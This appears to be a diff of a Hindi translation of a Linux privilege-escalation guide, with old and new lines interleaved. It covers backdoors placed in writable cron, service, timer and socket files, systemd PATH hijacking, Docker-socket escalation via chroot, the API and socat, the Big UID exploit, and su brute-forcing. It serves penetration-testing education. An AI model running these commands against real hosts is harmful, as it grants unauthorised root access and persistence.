ढूँढें जो हर 1, 2 या 5 मिनट में execute हो रहे हों। शायद आप इसका फायदा उठाकर privileges escalate कर सकें। -उदाहरण के लिए, यदि आप **1 मिनट के दौरान हर 0.1s पर निगरानी करना**, **कम निष्पादित किए गए कमांड्स के अनुसार छाँटना** और सबसे अधिक निष्पादित कमांड्स को हटाना चाहते हैं, तो आप यह कर सकते हैं: +उदाहरण के लिए, **monitor every 0.1s during 1 minute**, **sort by less executed commands** और उन commands को delete करने के लिए जो सबसे ज्यादा executed हुए हैं, आप कर सकते हैं: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**आप यह भी उपयोग कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर process को मॉनिटर करेगा और सूचीबद्ध करेगा जो शुरू होता है)। +**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह प्रत्येक process जो शुरू होता है उसे monitor और list करेगा). ### अदृश्य cron jobs -एक cronjob बनाया जा सकता है **टिप्पणी के बाद carriage return डालकर** (बिना newline character के), और cron job काम करेगा। उदाहरण (carriage return char पर ध्यान दें): +यह संभव है कि एक cronjob **putting a carriage return after a comment** (without newline character), और cron job काम करेगा। उदाहरण (ध्यान दें carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## सेवाएँ -### लिखने योग्य _.service_ फाइलें +### लिखने योग्य _.service_ फ़ाइलें + +जाँचें कि क्या आप कोई `.service` फ़ाइल लिख सकते हैं, अगर कर सकते हैं तो आप इसे **संशोधित कर सकते हैं** ताकि यह आपकी **backdoor** को तब **निष्पादित** करे जब सेवा **शुरू**, **पुनः आरंभ** या **रोक** दी जाए (शायद आपको मशीन के रिबूट होने तक इंतज़ार करना पड़ सकता है).\ -जाँचें कि क्या आप किसी `.service` फ़ाइल में लिख सकते हैं, अगर कर सकते हैं, तो आप **इसे संशोधित कर सकते हैं** ताकि यह आपके **backdoor** को **निष्पादित** करे जब सेवा **शुरू**, **पुनरारंभ** या **बंद** हो (शायद आपको मशीन के reboot होने तक इंतजार करना पड़े).\ उदाहरण के लिए अपनी backdoor को `.service` फ़ाइल के अंदर इस तरह बनाएं: **`ExecStart=/tmp/script.sh`** -### लिखने योग्य सेवा बाइनरीज़ +### लिखने योग्य service बाइनरीज़ -ध्यान रखें कि अगर आपके पास सेवाओं द्वारा निष्पादित होने वाली बाइनरीज़ पर **लिखने की अनुमति** है, तो आप उन्हें backdoors के लिए बदल सकते हैं ताकि जब सेवाएँ फिर से निष्पादित हों तो backdoors भी निष्पादित हों। +ध्यान रखें कि अगर आपके पास **write permissions over binaries being executed by services** हैं, तो आप उन्हें backdoors के लिए बदल सकते हैं ताकि जब सेवाएँ फिर से चलें तो backdoors निष्पादित हो जाएँ। ### systemd PATH - सापेक्ष पथ -आप **systemd** द्वारा उपयोग किए गए PATH को निम्न से देख सकते हैं: +आप **systemd** द्वारा उपयोग किए जाने वाले PATH को निम्न के साथ देख सकते हैं: ```bash systemctl show-environment ``` -यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **write** कर सकते हैं, तो आप **escalate privileges** कर सकते हैं। आपको **relative paths being used on service configurations** जैसी फ़ाइलों की खोज करनी चाहिए: +यदि आप पाते हैं कि आप path के किसी भी फ़ोल्डर में **write** कर सकते हैं तो आप **escalate privileges** करने में सक्षम हो सकते हैं। आपको **relative paths being used on service configurations** फ़ाइलों की तलाश करनी चाहिए, जैसे: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -फिर, उस systemd PATH फ़ोल्डर के अंदर एक **executable** बनाइए (जिसमें आप लिख सकते हैं) जिसका नाम **relative path binary** के समान हो, और जब service से कमजोर क्रिया (**Start**, **Stop**, **Reload**) करने के लिए कहा जाएगा, आपका **backdoor निष्पादित होगा** (unprivileged users आमतौर पर services को start/stop नहीं कर पाते, लेकिन जाँच करें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। +फिर, systemd PATH फ़ोल्डर में जिस पर आप लिख सकते हैं, उसी **relative path binary** के नाम का एक **निष्पादन योग्य** बनाएं, और जब सेवा से कमजोर क्रिया (**Start**, **Stop**, **Reload**) को चलाने के लिए कहा जाएगा, तो आपका **backdoor** निष्पादित हो जाएगा (unprivileged users आम तौर पर सेवाओं को start/stop नहीं कर सकते लेकिन जाँचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। -**services के बारे में अधिक जानने के लिए `man systemd.service` पढ़ें।** +**Learn more about services with `man systemd.service`.** ## **Timers** -**Timers** systemd unit फाइलें हैं जिनके नाम का अंत `**.timer**` में होता है और जो `**.service**` फाइलों या घटनाओं को नियंत्रित करती हैं। **Timers** को cron के विकल्प के रूप में उपयोग किया जा सकता है क्योंकि इनमें calendar time events और monotonic time events के लिए बिल्ट-इन समर्थन होता है और इन्हें asynchronously चलाया जा सकता है। +**Timers** वे systemd unit फाइलें हैं जिनके नाम का अंत `**.timer**` में होता है और जो `**.service**` फाइलों या घटनाओं को नियंत्रित करती हैं। **Timers** को cron के एक विकल्प के रूप में उपयोग किया जा सकता है क्योंकि इनमें कैलेंडर-आधारित समय घटनाओं और monotonic time events के लिए बिल्ट-इन समर्थन होता है और इन्हें asynchronously चलाया जा सकता है। आप सभी timers को सूचीबद्ध कर सकते हैं: ```bash @@ -483,54 +469,52 @@ systemctl list-timers --all ``` ### लिखने योग्य टाइमर -यदि आप किसी टाइमर को संशोधित कर सकते हैं तो आप इसे systemd.unit की कुछ मौजूदा इकाइयों (जैसे `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। +यदि आप किसी टाइमर को संशोधित कर सकते हैं, तो आप इसे systemd.unit की कुछ मौजूदा यूनिट्स (जैसे `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +> टाइमर समाप्त होने पर सक्रिय करने के लिए यूनिट। आर्ग्यूमेंट एक यूनिट नाम है, जिसका suffix ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान डिफ़ॉल्ट रूप से उस service पर सेट होता है जिसका नाम timer यूनिट के समान होता है, केवल suffix अलग होता है। (ऊपर देखें।) यह अनुशंसित है कि सक्रिय की जाने वाली यूनिट का नाम और timer यूनिट का नाम केवल suffix को छोड़कर एक समान हों। -> उस Unit को activate करने के लिए जब यह timer समाप्त हो जाता है। आर्गुमेंट एक unit name है, जिसका suffix ".timer" नहीं होता। यदि निर्दिष्ट नहीं किया गया है, तो यह value डिफ़ॉल्ट रूप से उसी नाम वाली service बन जाती है जो timer unit के नाम के समान होती है, सिवाय suffix के। (ऊपर देखें।) अनुशंसित है कि जिस unit का नाम activate होता है और timer unit का नाम एक समान हों, सिवाय suffix के। +इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको आवश्यकता होगी: -Therefore, to abuse this permission you would need to: +- किसी systemd यूनिट को ढूंढें (जैसे `.service`) जो **एक लिखने योग्य बाइनरी चला रहा हो** +- कोई systemd यूनिट ढूंढें जो **एक relative path चला रहा हो** और आपके पास **systemd PATH** पर **लिखने की privileges** हों (ताकि उस executable का impersonate किया जा सके) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**टाइमर्स के बारे में अधिक जानने के लिए `man systemd.timer` देखें।** -**Learn more about timers with `man systemd.timer`.** +### **टाइमर सक्षम करना** -### **Timer सक्षम करना** - -To enable a timer you need root privileges and to execute: +टाइमर को सक्षम करने के लिए आपको root privileges की आवश्यकता होगी और निम्नलिखित को execute करना होगा: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -ध्यान दें कि **timer** को `/etc/systemd/system/.wants/.timer` पर उसके लिए symlink बनाकर **सक्रिय** किया जाता है +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) client-server मॉडल के भीतर एक ही या अलग मशीनों पर **process communication** की अनुमति देते हैं। ये कंप्यूटरों के बीच संचार के लिए मानक Unix descriptor फ़ाइलों का उपयोग करते हैं और `.socket` फाइलों के माध्यम से सेटअप किए जाते हैं। +Unix Domain Sockets (UDS) क्लाइंट-सर्वर मॉडल में एक ही या अलग मशीनों पर प्रोसेस कम्युनिकेशन सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए स्टैण्डर्ड Unix descriptor फाइलों का उपयोग करते हैं और `.socket` files के माध्यम से सेटअप किए जाते हैं। -Sockets को `.socket` फाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। +Sockets को `.socket` files से कॉन्फ़िगर किया जा सकता है। -**sockets के बारे में अधिक जानें `man systemd.socket` के साथ।** इस फ़ाइल के अंदर कई रोचक पैरामीटर कॉन्फ़िगर किए जा सकते हैं: +**Learn more about sockets with `man systemd.socket`.** इस फ़ाइल के अंदर कई रोचक पैरामीटर कॉन्फ़िगर किए जा सकते हैं: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग-अलग हैं लेकिन सारांश **यह संकेत करने के लिए उपयोग किया जाता है कि यह कहाँ सुनने वाला है** (AF_UNIX socket फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि) -- `Accept`: एक boolean तर्क लेता है। यदि **true**, तो प्रत्येक आने वाले कनेक्शन के लिए एक **service instance** spawn किया जाता है और केवल कनेक्शन socket इसे पास किया जाता है। यदि **false**, तो सभी listening sockets स्वयं स्टार्ट की गई service unit को पास किये जाते हैं, और सभी कनेक्शनों के लिए केवल एक service unit spawn होती है। यह मान datagram sockets और FIFOs के लिए अनदेखा किया जाता है जहाँ एक single service unit बिना शर्त सभी आने वाले ट्रैफ़िक को संभालता है। **डिफ़ॉल्ट false है।** प्रदर्शन कारणों से, नए daemons केवल उस तरह लिखा जाना सुझाया जाता है जो `Accept=no` के लिए उपयुक्त हो। -- `ExecStartPre`, `ExecStartPost`: एक या अधिक command lines लेते हैं, जो listening **sockets**/FIFOs के बने और bind किए जाने से क्रमशः **पहले** या **बाद** execute होते हैं। कमांड लाइन का पहला token एक absolute filename होना चाहिए, फिर process के लिए arguments आते हैं। -- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **commands** जो listening **sockets**/FIFOs के बंद और हटाए जाने से क्रमशः **पहले** या **बाद** execute किये जाते हैं। -- `Service`: incoming traffic पर activate करने के लिए service unit का नाम specify करता है। यह setting केवल Accept=no वाले sockets के लिए allowed है। यह default उस service का नाम होता है जो socket जैसा नाम रखता है (suffix बदलकर)। ज़्यादातर मामलों में, इस option का उपयोग आवश्यक नहीं होना चाहिए। +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग-अलग हैं, पर संक्षेप में इन्हें socket को कहाँ सुनना है बताने के लिए इस्तेमाल किया जाता है (AF_UNIX socket फ़ाइल का path, सुनने के लिए IPv4/6 और/या port नंबर, आदि)। +- `Accept`: boolean argument लेता है। अगर **true** है, तो **प्रत्येक इनकमिंग कनेक्शन के लिए एक service instance spawn** किया जाता है और केवल कनेक्शन socket उसे दिया जाता है। अगर **false** है, तो सभी listening sockets स्वयं **started service unit को पास** किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक service unit spawn होता है। यह मान datagram sockets और FIFOs के लिए अनदेखा किया जाता है जहाँ एक ही service unit बिना शर्त सभी इनकमिंग ट्रैफ़िक को संभालता है। **Defaults to false**. प्रदर्शन कारणों से, नए daemons को केवल इस तरह लिखा जाना चाहिए कि वे `Accept=no` के अनुकूल हों। +- `ExecStartPre`, `ExecStartPost`: एक या अधिक command lines लेते हैं, जो listening **sockets**/FIFOs को क्रमशः **बनाने और bind करने से पहले** या **बाद** executed होते हैं। कमांड लाइन का पहला token एक absolute filename होना चाहिए, उसके बाद process के arguments आते हैं। +- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **commands** जो listening **sockets**/FIFOs को क्रमशः **बंद और हटाए जाने से पहले** या **बाद** executed होते हैं। +- `Service`: incoming traffic पर activate करने के लिए **service** unit का नाम निर्दिष्ट करता है। यह सेटिंग केवल Accept=no वाले sockets के लिए ही अनुमति है। यह डिफ़ॉल्ट रूप से उस service को चुनता है जिसका नाम socket के समान होता है (suffix बदलकर)। अधिकांश मामलों में इस option का उपयोग आवश्यक नहीं होना चाहिए। ### Writable .socket files -अगर आपको कोई **writable** `.socket` फाइल मिलती है तो आप `[Socket]` सेक्शन की शुरुआत में कुछ ऐसा जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और backdoor socket बनाये जाने से पहले execute हो जाएगा। इसलिए, आपको **शायद मशीन के reboot होने तक इंतज़ार करना होगा।**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +यदि आप कोई **writable** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` सेक्शन की शुरुआत में कुछ ऐसा जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और यह backdoor socket बनाए जाने से पहले execute होगा। इसलिए, आपको **संभावित रूप से मशीन के reboot होने तक इंतज़ार करना होगा।**\ +_ध्यान दें कि सिस्टम को उस socket फ़ाइल कॉन्फ़िगरेशन का उपयोग कर रहा होना चाहिए, वरना backdoor execute नहीं होगा_ ### Writable sockets -यदि आप कोई भी **writable socket** पहचानते हैं (_अब हम Unix Sockets की बात कर रहे हैं न कि config `.socket` फाइलों की_), तो आप उस socket के साथ **communicate** कर सकते हैं और संभवतः किसी vulnerability का exploit कर सकते हैं। +यदि आप कोई **writable socket** पहचानते हैं (_अब हम Unix Sockets की बात कर रहे हैं, न कि config `.socket` फाइलों की_), तो आप उस socket के साथ **communicate** कर सकते हैं और संभवतः किसी vulnerability का exploit कर सकते हैं। -### Unix Sockets का अनुक्रमण +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -552,28 +536,28 @@ socket-command-injection.md ### HTTP sockets -ध्यान दें कि कुछ **sockets listening for HTTP** requests हो सकते हैं (_मैं .socket files की बात नहीं कर रहा हूँ बल्कि उन फाइलों की जो unix sockets के रूप में कार्य कर रही हैं_). आप इसे निम्न से जाँच सकते हैं: +ध्यान दें कि कुछ **sockets listening for HTTP** requests मौजूद हो सकते हैं (_मैं .socket फाइलों की बात नहीं कर रहा हूँ बल्कि उन फाइलों की जो unix sockets के रूप में काम कर रही हैं_)। आप इसे निम्न से जांच सकते हैं: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -यदि socket **responds with an HTTP** request, तो आप इसके साथ **communicate** कर सकते हैं और शायद किसी **exploit some vulnerability**. +यदि socket **responds with an HTTP** request, तो आप इसके साथ **communicate** कर सकते हैं और शायद किसी **exploit some vulnerability**। ### लिखने योग्य Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. डिफ़ॉल्ट रूप से, इसे `root` user और `docker` group के सदस्यों द्वारा लिखा जा सकता है. इस socket पर write access होने से privilege escalation हो सकता है. यहाँ बताया गया है कि यह कैसे किया जा सकता है और यदि Docker CLI उपलब्ध नहीं है तो वैकल्पिक तरीके क्या हैं। +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. #### **Privilege Escalation with Docker CLI** -यदि आपके पास Docker socket पर write access है, तो आप निम्न commands का उपयोग करके privilege escalation कर सकते हैं: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -ये कमांड्स आपको host की फ़ाइल सिस्टम पर root-स्तरीय पहुँच के साथ एक कंटेनर चलाने की अनुमति देती हैं। +ये कमांड्स आपको host की फ़ाइल सिस्टम पर root-स्तरीय पहुँच के साथ एक container चलाने की अनुमति देती हैं। #### **Docker API का सीधे उपयोग** -ऐसे मामलों में जहाँ Docker CLI उपलब्ध न हो, Docker socket को फिर भी Docker API और `curl` कमांड्स के जरिए मैनिपुलेट किया जा सकता है। +ऐसे मामलों में जहाँ Docker CLI उपलब्ध नहीं है, Docker socket को फिर भी Docker API और `curl` कमांड्स का उपयोग करके नियंत्रित किया जा सकता है। 1. **List Docker Images:** उपलब्ध images की सूची प्राप्त करें। @@ -581,7 +565,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** host सिस्टम की root डायरेक्टरी को mount करने वाला एक container बनाने के लिए request भेजें। +2. **Create a Container:** host सिस्टम की root directory को mount करने वाला एक container बनाने के लिए request भेजें। ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -593,7 +577,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` का उपयोग करके container से कनेक्शन बनायें, जिससे उसके अंदर कमांड चलाई जा सकें। +3. **Attach to the Container:** `socat` का उपयोग करके container से कनेक्शन स्थापित करें, जिससे उसके अंदर कमांड चलाने में सक्षम हों। ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -603,13 +587,13 @@ Connection: Upgrade Upgrade: tcp ``` -` s o c a t ` कनेक्शन सेट करने के बाद, आप host के फ़ाइल सिस्टम पर root-स्तरीय पहुँच के साथ container के अंदर सीधे कमांड्स चला सकते हैं। +`сocat` कनेक्शन सेट करने के बाद, आप container में सीधे commands चला सकते हैं, जिससे host की filesystem पर root-स्तरीय पहुँच प्राप्त होती है। -### अन्य +### Others -ध्यान दें कि यदि आपके पास docker socket पर write permissions हैं क्योंकि आप **group `docker` के अंदर** हैं तो आपके पास [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) हैं। यदि [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -देखें **more ways to break out from docker or abuse it to escalate privileges** in: +देखें **docker से बाहर निकलने या इसे दुरुपयोग कर अधिकार बढ़ाने के और तरीके** in: {{#ref}} @@ -618,7 +602,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -यदि आप देखेंगे कि आप **`ctr`** कमांड उपयोग कर सकते हैं तो निम्न पन्ना पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -627,7 +611,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -यदि आप देखेंगे कि आप **`runc`** कमांड उपयोग कर सकते हैं तो निम्न पन्ना पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -636,15 +620,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus एक परिष्कृत **inter-Process Communication (IPC) system** है जो applications को प्रभावी ढंग से interact और डेटा साझा करने में सक्षम बनाती है। आधुनिक Linux सिस्टम को ध्यान में रखकर डिज़ाइन की गई, यह विभिन्न प्रकार की application communication के लिए एक मजबूत फ्रेमवर्क प्रदान करती है। +D-Bus एक परिष्कृत inter-Process Communication (IPC) सिस्टम है जो applications को प्रभावी रूप से interact और डेटा साझा करने में सक्षम बनाता है। आधुनिक Linux सिस्टम को ध्यान में रखकर डिजाइन किया गया, यह applications के बीच विभिन्न प्रकार के संचार के लिए एक मजबूत ढांचा प्रदान करता है। -यह सिस्टम बहुमुखी है, मूल IPC को सपोर्ट करता है जो प्रक्रियाओं के बीच डेटा एक्सचेंज को बढ़ाता है, और यह **enhanced UNIX domain sockets** की याद दिलाता है। इसके अलावा, यह इवेंट्स या सिग्नल्स के ब्रॉडकास्ट में मदद करता है, जिससे सिस्टम कम्पोनेंट्स के बीच सहज एकीकरण बनता है। उदाहरण के तौर पर, एक Bluetooth daemon से आने वाले कॉल का सिग्नल किसी music player को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव बेहतर होता है। इसके अतिरिक्त, D-Bus एक remote object system को सपोर्ट करता है, जिससे applications के बीच service requests और method invocations सरल हो जाते हैं, और पारंपरिक रूप से जटिल प्रक्रियाएँ सुगम बनती हैं। +यह सिस्टम बहुमुखी है — यह बेसिक IPC का समर्थन करता है जो processes के बीच डेटा आदान-प्रदान को बेहतर बनाता है, और यह enhanced UNIX domain sockets की याद दिलाता है। इसके अलावा, यह इवेंट या सिग्नल ब्रॉडकास्ट करने में मदद करता है, जिससे सिस्टम घटकों के बीच निर्बाध इंटिग्रेशन होता है। उदाहरण के लिए, incoming call के बारे में Bluetooth daemon का एक सिग्नल म्यूज़िक प्लेयर को म्यूट करने के लिए ट्रिगर कर सकता है, जिससे user experience बेहतर होता है। इसके अतिरिक्त, D-Bus एक remote object system का समर्थन करता है, जो applications के बीच service requests और method invocations को सरल बनाता है और पारंपरिक रूप से जटिल प्रक्रियाओं को सुव्यवस्थित करता है। -D-Bus एक **allow/deny model** पर चलता है, जो message permissions (method calls, signal emissions, आदि) को match होने वाले policy rules के समेकित प्रभाव के आधार पर प्रबंधित करता है। ये नीतियाँ bus के साथ होने वाली interactions को निर्दिष्ट करती हैं, जो इन permissions के शोषण के माध्यम से privilege escalation की अनुमति दे सकती हैं। +D-Bus allow/deny मॉडल पर काम करता है, जो matching policy rules के संचयी प्रभाव के आधार पर message permissions (method calls, signal emissions, आदि) को प्रबंधित करता है। ये नीतियाँ bus के साथ इंटरैक्शन को निर्दिष्ट करती हैं, और इन permissions के दुरुपयोग के माध्यम से privilege escalation संभव हो सकता है। -ऐसी नीतियों का एक उदाहरण `/etc/dbus-1/system.d/wpa_supplicant.conf` में दिया गया है, जिसमें root user को `fi.w1.wpa_supplicant1` का मालिक होने, उसे संदेश भेजने और उससे संदेश प्राप्त करने की permissions का विवरण है। +ऐसी एक नीति का उदाहरण /etc/dbus-1/system.d/wpa_supplicant.conf में दिया गया है, जो root user को fi.w1.wpa_supplicant1 से messages own, send, और receive करने की permissions विस्तार से बताती है। -यदि नीतियों में कोई निर्दिष्ट user या group नहीं दिया गया है तो वे सार्वभौमिक रूप से लागू होती हैं, जबकि "default" context नीतियाँ उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं हैं। +यदि नीतियों में किसी विशेष user या group का उल्लेख नहीं होता तो वे सार्वभौमिक रूप से लागू होती हैं, जबकि "default" context नीतियाँ उन सभी पर लागू होती हैं जिन्हें अन्य विशिष्ट नीतियाँ कवर नहीं करतीं। ```xml @@ -653,7 +637,7 @@ D-Bus एक **allow/deny model** पर चलता है, जो message per ``` -**यहाँ जानें कैसे एक D-Bus communication को enumerate और exploit किया जाए:** +**यहाँ सीखें कि कैसे D-Bus communication को enumerate और exploit करें:** {{#ref}} @@ -662,7 +646,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **नेटवर्क** -नेटवर्क को enumerate करना और मशीन का स्थान पता करना हमेशा रोचक होता है। +नेटवर्क को enumerate करके और मशीन की स्थिति का पता लगाना हमेशा दिलचस्प होता है। ### सामान्य enumeration ```bash @@ -689,22 +673,22 @@ lsof -i ``` ### Open ports -हमेशा उस मशीन पर चल रही network services की जाँच करें जिनके साथ आप उसे एक्सेस करने से पहले इंटरेक्ट नहीं कर पाए थे: +हमेशा उस मशीन पर चल रहे network services की जाँच करें जिनसे आप उसे एक्सेस करने से पहले इंटरैक्ट नहीं कर पाए थे: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -जाँचें कि क्या आप sniff traffic कर सकते हैं। अगर आप कर पाएँ तो आप कुछ credentials प्राप्त कर सकते हैं। +जांचें कि क्या आप sniff traffic कर सकते हैं। यदि आप कर सकते हैं, तो आप कुछ credentials प्राप्त कर सकते हैं। ``` timeout 1 tcpdump ``` -## उपयोगकर्ता +## Users -### सामान्य सूचीकरण +### Generic Enumeration -जाँचें कि आप **who** हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन **login** कर सकता है और किसके पास **root privileges** हैं: +जाँच करें कि आप **कौन** हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन **login** कर सकता है और किनके पास **root privileges** हैं: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -726,23 +710,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### बड़ा UID -कुछ Linux संस्करण एक बग से प्रभावित थे जो उन उपयोगकर्ताओं (जिनका **UID > INT_MAX** है) को विशेषाधिकार उन्नयन करने की अनुमति देता है। More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**इसे एक्सप्लॉइट करें** उपयोग करके: **`systemd-run -t /bin/bash`** +कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को escalate privileges करने की अनुमति देता है। अधिक जानकारी: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### समूह -जाँचें कि आप किसी ऐसे समूह के सदस्य हैं जो आपको root privileges दे सके: +जाँच करें कि क्या आप किसी ऐसे समूह के **सदस्य** हैं जो आपको root privileges दे सकता है: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### क्लिपबोर्ड -यदि संभव हो तो जाँचें कि क्लिपबोर्ड के अंदर कुछ रोचक तो नहीं। +जाँच करें कि क्लिपबोर्ड में कुछ रोचक है या नहीं (यदि संभव हो) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -759,27 +743,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### ज्ञात पासवर्ड -यदि आप **पर्यावरण का कोई भी पासवर्ड** जानते हैं तो उस पासवर्ड का उपयोग करके **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने** का प्रयास करें। +यदि आप किसी भी environment का **password जानते हैं**, तो उस password का उपयोग करके प्रत्येक **user** के रूप में **login** करने का प्रयास करें। ### Su Brute -यदि आप बहुत शोर करने की परवाह नहीं करते और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce)\ का उपयोग करके उपयोगकर्ता पर brute-force आज़मा सकते हैं।\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं पर brute-force करने की कोशिश करता है। +यदि आप अधिक शोर-मचाने की परवाह नहीं करते हैं और `su` और `timeout` binaries कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके user पर brute-force करने का प्रयास कर सकते हैं.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parameter के साथ भी users पर brute-force करने की कोशिश करता है। ## Writable PATH का दुरुपयोग ### $PATH -यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं द्वारा **writable फ़ोल्डर के अंदर एक backdoor बनाकर** जिसका नाम उस कमांड के नाम जैसा होगा जिसे किसी दूसरे उपयोगकर्ता (आदर्श रूप से root) द्वारा execute किया जाएगा और जो **$PATH में आपके writable फ़ोल्डर से पहले स्थित किसी फ़ोल्डर से लोड नहीं किया जाता है**। +यदि आप पाते हैं कि आप $PATH के किसी फ़ोल्डर में **लिख (write) सकते हैं**, तो आप privileges escalate कर सकते हैं उस writable फ़ोल्डर के अंदर उसी नाम का एक backdoor बनाकर जो किसी command जैसा हो जिसे किसी अलग user (ideal रूप से root) द्वारा execute किया जाएगा और जो $PATH में आपके writable फ़ोल्डर से पहले किसी फ़ोल्डर से load नहीं किया जाता। -### SUDO और SUID +### SUDO and SUID -आपको sudo का उपयोग करके कुछ कमांड execute करने की अनुमति हो सकती है, या उन पर suid bit लगा 